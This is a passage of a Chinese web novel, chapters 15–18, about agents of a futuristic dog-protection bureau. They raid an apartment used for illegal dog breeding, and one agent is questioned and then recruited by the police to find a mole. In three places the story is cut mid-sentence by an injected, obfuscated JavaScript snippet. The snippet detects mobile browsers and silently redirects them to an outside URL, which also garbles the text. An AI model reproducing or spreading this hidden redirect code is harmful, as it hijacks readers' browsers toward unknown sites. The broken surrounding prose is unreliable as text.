对方反复确认了证件的合法性,许久过后,才将门拉开了一个仅供一人通过的口子,“进来吧。” 姚嘉挤进了门缝,眼前是一个穿着睡衣的年轻女生。房间里整洁干净,一张书桌放置在正中间,雪白的墙壁上投射着暂停的网课视频,见姚嘉的目光投向墙壁,女孩急急忙忙关闭了光脑投影。 看来是一个备考生。 姚嘉暗忖,从女孩手里拿回工作证件,拿出维修工具检修全屋电路。 女孩家里摆设很简单,一眼就能看到底,姚嘉仔仔细细检查了每一个房间。一个房间是空房间,用来摆放杂物,没有可以容纳其他人的空间,另一个房间则是卧室,主人费尽心思妆点舒适,看得出来她很喜欢自己的小卧室,这里显然也不是阮心玉的据点。 “检修完成,没有异常。”姚嘉一边收拾工作包物品,一边对女孩说,“楼上有人居住吗?” 女孩给她倒了一杯水,点头:“有的,我经常听到楼上有声响,像是弹珠掉在地上的声音,但是没什么规律。” “谢谢配合,我们现在就去楼上检修电路,联邦能源署祝您生活愉快。”得到线索的姚嘉熟练地从包里掏出一盒鸡蛋递给女孩,婉拒了她的水。 那么就只剩下一个答案了,五楼两户必定有一户是阮心玉的藏身之处。但是401和402对楼上住户的描述一模一样,无法精准确定是哪一户,必须要逐一排查。 姚嘉点开光脑通讯,给风从南传递信息。 【姚嘉:锁定五楼,两户都有可能。】 【姚嘉:对方可能有武器,注意自身安全】 【AAA有钱老奶不缺狗:担心我的身手?少点担心,多点爱(发音qian)】 【AAA有钱老奶不缺狗:你和夏沐泽快点去检修电路,我可不干没报酬的工作】 还有心思开玩笑,说明问题不大,她可以自己解决。 姚嘉逮住楼下四处溜达的夏沐泽,拿出一套工作服丢给她。 不用说,夏沐泽已经看懂了她的意思,她五官扭曲,暴起锤姚嘉:“你揽的活让我俩给你擦屁股!” “我们一起的。” 15. 幸福小区(三) 夏沐泽率先进入幸福小区后,风从南没有像她一样绞尽脑汁想一个合适的伪装身份探查住户,而是选择了就地躺平抄作业。 姚嘉在查资料的时候,她在看刚开业小狗咖啡店的风评,姚嘉在和狗安处一组内勤人员沟通对接的时候,她在挑选新的小狗零食,放在店内给需要的小狗溜溜牙缝。 在姚嘉终于推进任务进度,和联邦能源署直接沟通的时候,风从南冷不丁地开口,“给我也准备一份。”电路检测工真是一个完美无缺的好身份,她也想用用。 姚嘉好笑地扭头看她,见风从南一脸理直气壮的样子就知道她老毛病犯了。能偷懒的就偷懒,能copy就copy,从不花费多余的力气做同样效果的事。她点点头表示自己收到,删除原本编辑好的信息,重新加了数字。 所以其实是夏沐泽给姚嘉和风从南俩人干的好事擦屁股。 风从南拨了拨身上的工作包,她不习惯背斜挎包,揣个光脑就出门才是她的常态。 幸福小区六栋二楼的走廊打扫得干干净净,三楼门口放着一条用得发黑发黄的地毯和皮鞋,四楼门口放着一袋新送达的外卖。整栋楼里只有她一人走在步梯上,脚步轻轻的,有节奏的,像是一刻也不停摆的时钟。 五楼走廊空空荡荡的,微风穿堂而过,掀起了风从南耳边的碎发。地面纤尘不染,和其他楼层都不一样,这里没有生活痕迹,处处透着诡异。 风从南敲了敲501的门,没有人应答。 她又耐着性子敲了一分钟,没有人开门。 风从南干脆换了一户,改敲隔壁502的门,依旧没有人开门。 难道这里没有人吗? 风从南不再执着于敲门,而是在群里询问姚嘉和夏沐泽的调查进度。 【AAA有钱老奶不缺狗:五楼没有人开门,你们那边进度怎样?】 【姚嘉:刚刚结束401,402正在进行】 【姚嘉:据401住户所说,五楼有人居住】 【姚嘉:402是阮心玉据点的可能性极小,她的据点很大概率就在五楼】 【AAA有钱老奶不缺狗:你这么说的话,基本可以锁定她的据点就在这两户之间了】 【AAA有钱老奶不缺狗:我试试翻窗进去】 【姚嘉:这是五楼,没有安全绳】 风从南从姚嘉口中得知线索后,立马关闭了光脑信息,自然也没有看见姚嘉的提醒。 看见了她也只会一笑置之。 风从南打开幸福小区文件查看小区建筑外观,每一户人家有两扇明窗和一扇卫生间的暗窗,走廊旁边一米左右的一扇明窗对应客厅,另一扇窗户无法通过走廊攀爬攀爬过去。五楼楼上还有个天台,或许可以从天台下降至另一扇窗户。 风从南以前兼职时主要负责的就是外勤工作,与嫌疑分子来回周旋,在楼与楼之间、人与人之间穿梭,只为抓住细微的线索。 “一切为了小狗”是狗安处贴在入门大堂的标语,也是她恪守不渝的行事准则。 好久没有动手了,风从南原地活动了一下筋骨,好似能听见全身骨头发出嘎嘣嘎嘣的响声,它们狂欢着呐喊着,想要迎接时隔许久的娱乐活动。 她把斜挎包轻轻放在地面上,避免随手乱扔导致里面贵重物品损坏被联邦能源署索赔,轻巧地跳上走廊栏杆,身后就是距地面十五米的高空,没有任何阻挡物。 风从南却没有一丝害怕,抓住走廊栏杆吊着自己的身体,抻直了腿够到501的窗户。年久失修的劣质栏杆发出一阵酸涩的响声,毫无遮拦的风吹乱了她的发丝,阳光直射她的双眼,让她不由自主的阖上了双眼。 风从南腰一使劲,卯足了力气把自己朝着窗户的方向甩了出去,手掌四四攀住墙面,历经风雨的脆弱墙面簌簌落灰,她头发上都落了一些墙灰。 现在她整个人的姿势尚且不稳定。 风从南双手倚靠着楼宇外立面慢慢挪动,直到整个人缩在外窗台上。 外窗台虽窄,好在高度够高,能够容纳她半蹲于此。 风从南原本不确定的猜测在看到这扇窗户以后已经有了答案。 ——501就是阮心玉的据点。 这扇窗户从外向里看去根本看不见任何东西,它从物理意义上被封死了。窗户里面不知道是安装了什么新的封窗材料还是用木头堵住了,封的死死的。 风从南的手肘使劲下压想要击碎窗户,没有任何作用。这扇漆黑的窗户仍旧巍然不动,挺立在原地,没有任何变化,仿佛在嘲笑她的不自量力。 风从南也不是犟种,明知不可行偏要撞南墙,她换了个舒服的姿势半坐在外窗台上,在三人小群里发言。 【AAA有钱老奶不缺狗:501窗户封死了,无法暴力破窗进入】 【AAA有钱老奶不缺狗:想点办法,提点建议】 【单身无孩爱狗女:隔壁502看过了吗?】 【AAA有钱老奶不缺狗:没】 【单身无孩爱狗女:闲着也是闲着,我和姚嘉去拿工具,你先顺路去隔壁窗户看看】 【AAA有钱老奶不缺狗:带个安全绳,或许要从天台下降到另一个窗户】 【单身无孩爱狗女:我做事你还不放心?】 【单身无孩爱狗女:朋友之间多点信任】 【单身无孩爱狗女:我们俩什么关系你不知道?】 【单身无孩爱狗女:我把你揣心上,你把我踹沟里】 【AAA有钱老奶不缺狗:TD】 【姚嘉:1】 风从南关闭光脑,呼出一口气,扶住头顶的墙壁慢慢站了起来,回去比过来更麻烦。栏杆上荡过来还有地方可以借力,从外窗台过去没有任何可以接力的位置,墙壁也是塑料工程,一抹一掉渣,许多掉在楼下401窗户外晾晒的衣服上。 风从南毫无愧疚心,手指边抠墙灰,边看周围有没有可以方便跳回走廊台阶上的地方。 然而垃圾工程也没有裸露在外面的钢筋,没有可以给她借力的地方。 那就只剩下一条路了。 她要从外窗台跳向走廊栏杆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026599|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向,抓住栏杆爬进去。 风从南拍了拍手上沾满的墙灰,尽量增大双手与栏杆之间的摩擦,对着栏杆方向一跃而起,整个人在空中短暂滞空了一段时间,她迅速伸出手抓住栏杆边缘,胳膊肌肉发力,脖颈上青筋隐隐跳动,在空中实现了360度大旋转,灵巧地翻进走廊。 “不愧是我,身手还是这么好,迷倒万千小狗。”风从南撩了撩沾灰的刘海,情不自禁发出感慨。 还没休息片刻,她又如法炮制跳到了隔壁502的外窗台上查看情况。 这里的窗户和501如出一辙,手法一样,都被封死了。 501和502都是阮心玉的据点。 无法从走廊窗户暴力入室,那就只能换一扇窗户了。 风从南两步做一步走上天台,这里的门不知被谁锁了。但用的不是科技锁,是最普通的铁锁。 还算好办。 风从南把放置在楼下墙边的工作包拿上,翻出里面的备用电线,拨开外壳和其他无用物,留下一根铁丝。电线铁丝太细,她一连剥了好几根,将它们扭作一根更粗的铁丝,纯手工制作了一根开锁神器。 打开光脑照亮铁锁内部,风从南再根据内部结构稍微修改了开锁神器的形状,确定无误后将它伸入铁锁内。 咔哒。 通往天台的铁锁开了。 风从南把开锁神器塞回工作包里,拿出光脑开启虚拟屏幕,一一对照这栋楼的位置和资料里的样子,确认501和502另一扇窗户所在的位置。 她记得,夏沐泽说过姚嘉跟着阮心玉来到幸福小区,她随后赶到,姚嘉亲眼看见阮心玉进了幸福小区六栋,随后三人汇合以最快速度进入调查。并且她们也是间隔进入小区,不太可能存在阮心玉离开幸福小区六栋住宅,其他两人却没有看见的情况。 姚嘉和夏沐泽都没有在楼梯里遇到阮心玉,并且她们调查时大门都是完全敞开的,以她们的听力,不可能没听见从五楼下来的其他可疑人士的脚步声。 这些线索足以说明,阮心玉不可能采用常规方式离开这里,没有走楼梯,那么她就只能从窗户离开。 已知有两扇窗户已经被完全锁死,501和502另一扇窗户朝向截然相反。假设阮心玉已经察觉到有人跟踪她并且锁定了跟踪她的姚嘉所在的位置,那么根据朝向来看,不会把逃跑路线暴露在姚嘉眼里的,是哪一扇窗户? 风从南对照虚拟屏幕,圈出姚嘉藏匿地点和五层另外两扇窗户的位置,推算阮心玉的想法。 耳边响起了熟悉的脚步声,急匆匆的,像是从楼下飞奔而上。 夏沐泽提着工具包递给风从南,面部微微泛红。 “502的另一扇窗户是开着的。”风从南接过工具包,对她说。 夏沐泽刚刚从一公里外拿到工具包,还没懂她的意思:“啊?别和姚嘉学坏了,天天打哑谜。” “我的意思是,阮心玉不可能是从楼梯和501的窗户离开,因为两者都会暴露在姚嘉视线范围内,她只可能是从502的窗户逃走的。” 16. 幸福小区(四) 风从南系好安全绳,确定安装牢固,从天台向下攀爬至502另一边的窗户。 这个窗户与其他内部封死的两个窗户不同,它从外面被封住了。黑色的特殊材料牢牢包裹着窗户上的玻璃,她看不见房间内部的情况。 风从南用手肘猛地击打玻璃,玻璃本应该发出碎裂的响声,却被特殊材料阻挡了所有冲击,纹丝不动。 她又掏出了随身携带的工具锤,对准玻璃的四个角分别用力敲击。这是狗安处发放的特殊工具,锤子接触到非人体物质会自动释放冲击波,改变、破坏物质内部结构。 黑泥一般的特殊材料在锤子的敲击下逐渐变得坚硬,和一旁的墙灰一样簌簌落下,里面的玻璃在冲击之下早已经破碎,成了蛛网模样。透过碎裂的玻璃,风从南只能看见502内模糊的影像。 她将羊角锤插入玻璃碎屑的缝隙中,翘起它四个角,彻底瓦解玻璃的支撑,经过层层加固的坚实玻璃整块倒下,落在房间内的地面上,发出一声沉重的巨响。 房间内一片漆黑,根本辨别不清里面有什么东西,风从南轻轻扬眉,通过光脑给夏沐泽发信息。 【AAA有钱老奶不缺狗:窗户开了,你下来看看】 【单身无孩爱狗女:傻子吧】 【单身无孩爱狗女:有门偏不走】 【单身无孩爱狗女:我在门口,快给我开门】 风从南打开光脑上的自带光源照亮漆黑的房间,绕过玻璃,找到并打开了入户门。 夏沐泽已经在门口等得有些不耐烦了。 “你动作怎么这么慢,别忘了后头还有一整个小区,等着我们三个人检修电路!”她没好气地翻了个白眼,她上楼来就看见风从南穿着电路检测工的装束,那一刻她便知道自己是被这两人联手坑了,下班以后还要义务劳动,不能立刻回到家拥抱她的三米大床。 天天拖她下水! 风从南自知理亏,难得没和夏沐泽斗嘴:“你来房间里搜搜看,这里太暗了,我还没有开始搜查。” 原本只有一扇窗户透进的光亮根本照不亮整个房间,夏沐泽根据之前闯入别人家房子的经验摸索着打开了灯,冷白的灯光打在墙壁上,室内阴森森的,像是闯进了变态杀人犯的秘密基地。 事实上也差不了多少。 502内部干干净净,不仅地面上没有灰尘和垃圾,整个房间都是纯白色的,房间内甚至没有任何家具,空荡荡的,好似从没有人来过这里。 阮心玉等人已经把这里打扫得光洁如新,没有留下任何痕迹。 风从南进入另一个房间,这里也和外面的客厅一模一样,只多了一扇门。 “不对啊……我在202的同样位置没有看到类似的门。”夏沐泽疑惑道。 “打开看看就知道了。”风从南戴上无痕手套,推开了这扇奇怪的门。 门后是一个与502构造完全相反的房间。 是501。 相比502来说,501更加黑暗。502尚且有敲碎的窗户透进的些许光亮,501的所有窗户都从内部被封得死死的,夏沐泽打开光脑自带光源慢慢寻找灯光开关。 这里比502多出了太多东西,夏沐泽经常被绊到,光脑自带光源又太小,看不清周围,只能扶着墙壁缓缓移动。 视觉失效,听觉就格外灵敏。一片死寂的房间里,风从南只能听见夏沐泽的手摩擦墙壁的细微沙沙声,她挪动脚步的笨拙声响和若有似无的生物喘息声。 不是夏沐泽的呼吸声。 风从南的双眼渐渐习惯了黑暗,能看见一些物体模糊的轮廓。 远处一双发亮的眼睛正在盯着她看。 “这里有其他生物!” “咔哒。”夏沐泽终于找到了电源开关,打开了灯。 面前是并排放置的三张小型手术床和还没来得及及时处理的血迹。地上散落着不同颜色的狗毛和点滴鲜血,手术工具尚未清洗,和隔壁的502完全不同,看得出这里的主人离开得十分匆忙。 那双眼睛的主人就缩在手术床上看着风从南和夏沐泽两人。 是一只狗。 它皮毛凌乱,长得潦草,舌头向外吐出,一颤一颤的。 触目惊心的是它的肚子破了个大洞,体内的内脏脱落,部分流在手术台上。就算是这样,它也还活着,面对两个陌生人不吵不闹,趴在手术台上仿佛正在等待死亡。 风从南见不得它这副样子:“你留在这里拍照取证,我先把这只狗带到医院抢救。” 这只狗情况紧急,刻不容缓,夏沐泽点头答应:“我联系好车辆,你到小区外就能立刻上车。” 风从南随手抄起一张没有血迹的无菌布单,翻转小狗的身体,把它和它的内脏都抱在怀里。温热的血液濡湿了无菌布单,小狗乖乖的没有挣扎。 风从南冲出门外,以百米冲刺的速度跑下楼梯,一路狂奔至幸福小区门口,夏沐泽预订的车辆已经在门口等候,司机看见她抱着一只血迹斑斑的小狗也没有疑惑,加足马力闯入车流之中。 小狗温热的身体渐渐变得有点冷,呼吸越来越轻。风从南心里着急,却也只能催促司机开快一些。 “麻烦您开快一些,我赶时间。” “不用说,我懂,已经是最快速度了。”司机显然也是爱狗人群,看见这只小狗的惨状就明白他应该怎么做。他没时间与风从南交谈,以最快速度赶往附近的小狗医院。 风从南看着小狗,心里着急,大脑反而越来越冷静,为了不打草惊蛇,她们叫的是普通的公共飞艇而不是小狗医院救护车,估计夏沐泽也没有和医院沟通过。 她拿出光脑联系目的地的小狗医院,告诉他们有一只濒死的小狗正在路上,内脏脱出情况危急,请小狗医生和护士在停车点等待,随时准备接收小狗。 接下来几乎是与时间赛跑,飞艇停下以后,医生和护士推着小狗匆匆忙忙进了急救,风从南只来得及对司机大姨说一声,“钱等会儿会转过去的”,跟着医生跑进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026600|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了小狗医院。 自从人们发现了小狗进化出了特殊的情绪消化器官,能够帮助人类消化黑暗情绪,缓解荒芜病症状以后,小狗在联邦的地位直线上升。联邦官方出面,在各星球建立了专门的小狗医院。 白昼星作为首都,小狗医院更是泛滥。百米内必有一家微型小狗医院,两千米内必有一家能够承载手术的大型小狗医院。 小狗医院和小狗维修办职能不同,小狗医院针对的是小狗的外部创伤和□□创伤,小狗医生需要考取专门的行医资格证,但是他们看不见小狗身体内的黑暗情绪储存器官。 小狗维修办和小狗维修师则是专门针对小狗身体内的黑暗情绪储存器官进行维修。 两者服务对象都是小狗和小狗的身体,但却是两个完全不互通的领域。 眼下小狗被推进手术室,风从南也只能在手术室外面等待。 光脑通讯里早已刷满了夏沐泽的信息。 【单身无孩爱狗女:上车没】 【单身无孩爱狗女:到了没】 【单身无孩爱狗女:狗怎么样】 【单身无孩爱狗女:我和姚嘉已经取证好了】‘ 【单身无孩爱狗女:你的活我和姚嘉替你干了,记得请我俩吃饭】 【单身无孩爱狗女:沙溢丝】 【单身无孩爱狗女:你被捕了】 【单身无孩爱狗女:?】 【单身无孩爱狗女:还不回???】 【AAA有钱老奶不缺狗:在医院,还在抢救】 【AAA有钱老奶不缺狗:回来请你吃饭】 【单身无孩爱狗女:终于回了】 【单身无孩爱狗女:你小心点,我和姚嘉调查的时候发现501疑似是繁育基地】 【单身无孩爱狗女:这只狗很有可能是可繁育小狗】 【单身无孩爱狗女:小心真的被捕】 【单身无孩爱狗女:被捕也没事,组长已经出发了】 【单身无孩爱狗女:吃点苦头吧,嘿嘿】 【AAA有钱老奶不缺狗:……】 风从南弯腰坐在椅子上,心里已经预感到大事不妙,她和夏沐泽并没有仔细查看这只小狗是否属于可繁育小狗,但是组长都已经出发准备捞她出局子了…… 她烦躁地抓了抓头发,又不能直接逃跑,这不恰恰说明了自己很心虚,给警署的那帮人徒增把柄,但他们又不是好相与的……全是麻烦啊。 说那是迟那时快,伴随着一阵利落的脚步声,风从南面前的地面上落下了一片阴影。 她抬起头,果然是一张熟悉的面孔。她天生自然卷,扎着低马尾,马尾略微卷曲,瘦削的脸庞和眼下的青紫无一不在说明她的疲惫。身着联邦警署统一制服,和身后两个穿着笔挺的协助的助理警官不同,她的字制服衬衫皱巴巴的。 “我是李青山,隶属于联邦警署第二分部,接到医院报警有人涉嫌偷盗、虐待联邦可繁育狗,风从南,跟我们走一趟吧。” 17. 警署的邀请 风从南被李青山带到了联邦警署白昼星的总部,关在一处审讯室内。 两人大眼瞪小眼,风从南尴尬地有点想挠头,手却被牢牢禁锢着,抬不起来。 见状,李青山帮她松开了电子镣铐,还给她倒了一杯温水:“将就着喝,联邦警署没多余经费,没买你喜欢喝的提神醒脑小狗饮。” “监视器还看着,收敛点。”话虽这么说,风从南却是翘起了二郎腿,整个人歪在椅子上,“知道我没嫌疑还把我逮过来?” “就算我知道你是无辜的,程序还是要走的。”李青山把门外的警员叫进来,两人一起询问风从南各种信息,有关医院里那只可繁育小狗的情况和造成它伤势的原因。 风从南也不为难李青山,涉及狗安处机密的部分不做详细回答,其他一一告诉了李青山。 例行的笔录做完,一旁协助的警员自觉地离开了房间,留下李青山和风从南二人独处。 “不愧是联邦警署最耀眼的双子星,升职这么快。”风从南注意到了李青山衬衫制服上的一颗星和警员对她的‘组长’称呼,调侃道。 李青山嗤笑一声,松了松袖口和领口,出言反讽她:“我可不如你,在狗安处当个兼职人员还能大放异彩,在联邦其他行政机构出名,我们联邦警署都有许多人听过你的大名。” “不敢当不敢当,在下区区一个狗安处外包人而已。”风从南连连摆手,嘴角却压都压不下去。 李青山与风从南结识于一年前,前者是风头无两的警署双子星之一,刚刚协助侦破了一起连环杀人案,后者是籍籍无名的狗安处外包兼职人员,二人分别作为狗安处和警署的新人共同参与侦办了一起案件。 联邦警署和联邦安保处偶尔会有职能重叠,有关这一部分职能重叠范围的案件就需要双方共同合作办事。其他日常工作中,联邦警署专注于人与人之间的矛盾冲突,负责一颗星球内部产生的各类与人相关的案件。 而联邦安保处负责范畴则更加宽泛,人与狗之间的矛盾也在他们的管理范畴,除此之外还有荒芜人的储存、管理、登记等等,与其说是宽泛,不如说是混乱。 许多灰色地带的事件和其他部门棘手的案件都由联邦安保处处理。 联邦安保处的工作听起来光鲜亮丽,和他们新建的大楼一样光彩照人,实际上是联邦众机构内的垃圾桶,负责其他部门吃不下的特殊事件。 这次导致风从南被捕的可繁育小狗事件就属于联邦警署与联邦安保处小狗分部的共同管辖范畴。 风从南和李青山结识的案件于一场由联邦警署和狗安处共同侦办的案件,是流动小狗与人类之间的矛盾。 这一案件本来只是流动小狗与家养小狗之间的矛盾,两只小狗互相看不顺眼,在大街上大打出手。结果家养小狗战斗力远远不及身经百战的流动小狗,它的收养人看不下去了,直接掺和进了两只狗的斗争中。 他本以为自己加入能直接扭转战局,结果对面的流动小狗并非寻常狗,战斗力爆表,一人一狗被打得落花流水,直到风从南和李青山赶到才堪堪把一人一狗从流动小狗的手中解救出来。 风从南和李青山作为新人,分别跟着各自的前辈进行案件调查,例行询问结束后,受害人和受害狗互相搀扶着离开了这个是非之地。 狗安处负责管理流动小狗,风从南和她的前辈把这只战斗力极强的流动小狗带回了狗安处,还顺手给它做了个身体检查。 这一检查直接拔萝卜带出泥,她们发现这只流动小狗爆表战斗力的原因是它误食了非法兴奋剂,也就是人类用于精神刺激的毒剂。 临时四人组再次聚到了一起,共同调查这一事件的案中案。 风从南和李青山也是在这次案件中对彼此加深了了解,在风从南眼中,李青山是她在联邦警署为数不多认识的人,换句话来说就是人脉。 在人际关系堪忧的李青山眼中,两人是不打不相识的朋友。 转眼间一年过去,李青山已经从联邦警署普通的警员直线晋升成为联邦警署第二分部第三小组组长,这坐火箭般的晋升速度,让她的地位从风从南在联邦警署的人脉之一升级为可以一抱的大腿。 而风从南还是一个刚刚复职的狗安处兼职人员。 “滴滴。” 李青山的光脑响起提示音,她略微低头查看,随即不再和风从南插科打诨,坐姿端正,神色严肃。 “叙旧的话就不说了,我们可以私下里约饭。我有件正经事要告诉你。” 风从南见她一脸认真,也稍微调整了一下自己的坐姿,放下了翘着的二郎腿:“你说。” “实际上,这几年可繁育小狗丢失案件发生频繁,虽然联邦里每年都有新出生的可繁育小狗,但是为了保护这些小狗的生殖功能,延长他们的寿命,可繁育小狗生育一次就要休息三年。” “这些基本信息我知道。” “那我就长话短说了。可繁育小狗丢失必定是人为,这一年以来黑市里出现奇怪的小狗品种越来越多,黑市的宣传语也越来越猎奇。更重要的是,许多荒芜病人听信黑市的宣传语和各种谣言,倾家荡产购买来路不明的小狗,少数得偿所愿治好了荒芜病,大多数遭到诈骗,狗财两空。” “所以这就是你们联邦警署这么警惕的原因?看见一只可繁育小狗就迫不及待把我抓进警署的审讯室,其他案件你们可没有做到这个程度。” 李青山摇了摇头,紧盯着风从南的双眼:“经过联邦警署长时间的内外部共同调查,我们怀疑狗安处,或者说联邦安保处内部存在卧底。这个卧底与某些地下组织有关,私自偷盗你们管辖的可繁育小狗。” 风从南猛地坐直了身子,眉头紧皱:“你确定吗?” “我确定,我们已经得到了其中一个地下组织的信息,它的名字叫做曙光教会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031328|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“只有这一个组织的名字信息吗……曙光教会,这个名字听起来不像地下黑色组织,更像是传播邪恶思想的宗教。” 李青山起身走到风从南身边,半靠着风从南坐着的椅子,将手搭在她的肩膀上。 “根据我们的调查,你刚刚复职,虽然有接黑活赚非法钱的嫌疑,但是和偷盗可繁育小狗这件事没有关系,所以经过我们的共同决定,告知你这一联邦警署内部消息。” 李青山扭过风从南的脑袋,两人的脸越贴越近,风从南几乎感受到了李青山的呼吸:“风从南,你是可信的。我作为联邦警署第二分部第三小组组长,代表其他共同调查这一案件的联邦警员,邀请你加入联邦警署。” 风从南的手一巴掌拍在了李青山的脸上,把她推到自己离自己一臂之距:“你给我好好说话,别靠这么近。” “你还是老样子。”李青山一把抓住风从南放肆的手,塞回她面前,“反正你在狗安处也只是兼职,不介意多一份兼职吧?只需要在兼职工作的同时观察狗安处其他人有没有可疑之处。当然,工资是会给的,联邦警署在这方面还是比狗安处好的。” 李青山了解风从南的秉性,这家伙简直就是人型存款机,只吞不吐,日常工作全靠星币维持。 没有星币和其他好处的事,风从南可不会干,除非和她最喜欢的小狗有关。 风从南右手支起下巴,左手指节敲击着桌面,发出清脆的响声。 沉思片刻,她问道:“你确定狗安处内部一定存在卧底吗?” “就算不是狗安处的内部人员,也一定是联邦安保处能够接触到可繁育小狗的人群。总之,这个卧底一定存在。” 可繁育小狗…… 她调查以旧换新的小狗顺藤摸瓜找到了阮心玉,阮心玉又把她们引到了幸福小区的一处据点,在这个据点里,她和夏沐泽发现了一只受伤的可繁育小狗。 这也是她被李青山抓到联邦警署的原因。 阮心玉会和李青山口中的曙光教会有关系吗? 风从南不确定,她转头看向李青山:“我可以查看联邦警署内部有关可繁育小狗的案卷和调查资料吗?” “可以,但只能在我的眼皮子底下看,动用我的查看权限。”李青山像是早就料到了风从南会问出这个问题,不假思索地回答道。 “薪资好说?” “按照狗安处标准薪资来。” “成交。”风从南笑眯眯地同意了,这份兼职于她而言,有百利而无一害。 就在这时,门口的警员敲门示意李青山:“组长,狗安处一组组长来了,她要求释放她们的组员。” 李青山把风从南带到闻璟面前,让她跟着闻璟离开。 风从南老实跟在闻璟身后,走到电梯时她回头望了背后一眼,恰巧与李青山对视,李青山微微对她颔首。 她不会被李青山坑上了一条不归路吧? 18. 肉狗(一) 风从南跟着闻璟上了她的飞艇,想起还在幸福小区挨家挨户检修电路的夏、姚二人,对比虽然进了一趟局子但还是提早下班的自己,可以说是因祸得福了。 她幸灾乐祸地开口道:“闻组长,夏沐泽和姚嘉现在还在幸福小区义务上班吗?” 闻璟瞥了她一眼,用脚趾头想想都能猜到风从南现在的想法:“她们俩效率比较高,刚刚检修完幸福小区的所有电路,现在应该已经回家了。” 风从南的嘴角垮了下去,她还是不死心,在三人小群里询问两人有没有到家。 “先别急着联系她们,你看一下阮心玉的联系方式还在不在。” 风从南闻言,查看通讯录反复确认了三遍,阮心玉的联系方式已经没了,聊天记录也随着她的删除拉黑一条龙全部清除,仿佛她从没加过这个人。 “我的身份暴露了。”风从南肯定道。 “这次行动还是太鲁莽了,我们明知道只有你这一条线索能够联系到阮心玉,还是选择派人跟踪她,现在连你都被删了。”闻璟懊恼地扶住额头。 “之前加上阮心玉的过程太流畅轻松,当时我还觉得她警惕心不够重。这次行动失败的结果告诉我们,那只是阮心玉的一次失误。”风从南将右手搭在后颈上,把玩着飞艇内的装饰品。 飞艇内陷入了一片沉默。 她们这次行动解救了一只可繁育小狗,说明阮心玉所在的组织很有可能与联邦安保处内部的叛徒有关,得到了一定的调查方向。但是她们明明有更好、更稳妥的处理方式,在这次行动中却采取了激进的调查方式,轮番跟踪、一个失败了下一个立刻跟上,还长驱直入想要当场逮住阮心玉和她的老巢。 这确实太自大了,可是说是基本没把阮心玉当人看。 难怪会失败。 可风从南还是不甘心,难道就这么算了吗? “难道以旧换新的小狗这个案子就这么草草结束了吗?” 闻璟见她一副不服输的模样,轻声笑了出来:“当然不会就这么算了。这个组织只要还会作案就一定会留下线索,还会有其他案件等着我们去侦破,有更多被困的小狗等我们拯救它们。不过你还是老样子,和一年前没什么区别。” 一年前的风从南也是如此,遇见棘手的案件从不会退缩,面对狗安处里堆积的陈年旧案更是兴致勃勃地想要翻个底朝天,勘破了许多压箱底的案子。 风从南听了闻璟的安慰心情也没有好转,她仍然忘记不了第一次见到那只受伤小狗的景象,而现在这个组织还深深地埋藏在地下,还有更多同样处境的小狗仍然在遭受苦难。 “对了,告诉你一个好消息,你的小狗维修店可以继续在晚上接黑活了。” “那还真得感谢你们这些领导对我的小破店网开一面呢。”风从南阴阳怪气道。 闻璟装作没听出风从南话中的嘲讽意味,继续说:“你的维修店被狗安处收编了,允许你接黑活是为了钓鱼执法,当然,前提是你在接黑活的时候店内必须有赞助商和你一起。” “赞助商?你说的是那个新老板?” “对。他看着弱不禁风的,武力还可以,能顶半个人用。” 风从南翻了个白眼:“想要帮我是假,找个人监视我才是你们的想法吧?不过容我拒绝,现在的收入我已经很满意了,不需要苦哈哈地接黑活了。” “薪资翻倍。” 一句短短的话,让风从南把所有的不满全都咽下。 她最终还是对钱弯了腰。 * 是夜。 风从南几天前重新开始接黑活,不知道是名声发酵还是有人偷偷给她买小广告了,生意红红火火,来往的客人络绎不绝。 以往大多数客人都来自贫困区和平民区,这几天的客人许多都来自于富人区,有说是朋友介绍来的,也有说是网上匿名推荐吃了安利特意跑过来的。 今天暂时没什么客人,风从南难得坐下休息了一会儿。 最近接的这些黑活单子也没有奇怪的,都是普通的小狗维修单,闻璟所说的钓鱼执法根本不合理嘛,不过短短几天,看不到成效也是正常的。 一旁的薄暮光正在逗弄小狗,他上班上得比她都勤快,倒欠她工资,拿出了百分百的力气干活。 怪不得有人说兴趣是最好的老师,薄暮光也能勉强算入这类情况吧。 要是她像他这么有钱,早就左拥右抱,每天徜徉在小狗的海洋中。 有钱能使鬼推磨,就算她是万狗嫌,这些小狗也得拿出最好的营业态度对待她。 风从南想入非非,吃上了自己给自己画的大饼,突然,她想起了什么,转头看向薄暮光:“你知道定制狗吗?” 薄暮光之前就经常被风从南突击问各种问题,包括但不限于有钱人的日常生活,家里到底有多少狗,他和收养小狗的两三事,现在已经习惯了。 